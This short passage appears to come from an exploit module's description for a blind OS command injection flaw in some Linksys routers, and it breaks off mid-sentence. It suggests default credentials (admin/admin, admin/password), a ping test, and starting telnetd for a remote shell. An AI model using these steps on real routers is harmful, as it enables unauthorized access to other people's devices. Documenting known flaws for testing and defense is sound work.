-					Some Linksys Routers are vulnerable to OS Command injection.
-				You will need credentials to the webinterface to access the vulnerable part
-				of the application. Default credentials are always a good starting point.
-				admin/admin or admin/password could be a first try.
-				Note: This is a blind os command injection vulnerability. This means that you will
-				not see any output of your command. Try a ping command to your local system for a
-				first test.

-				Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the
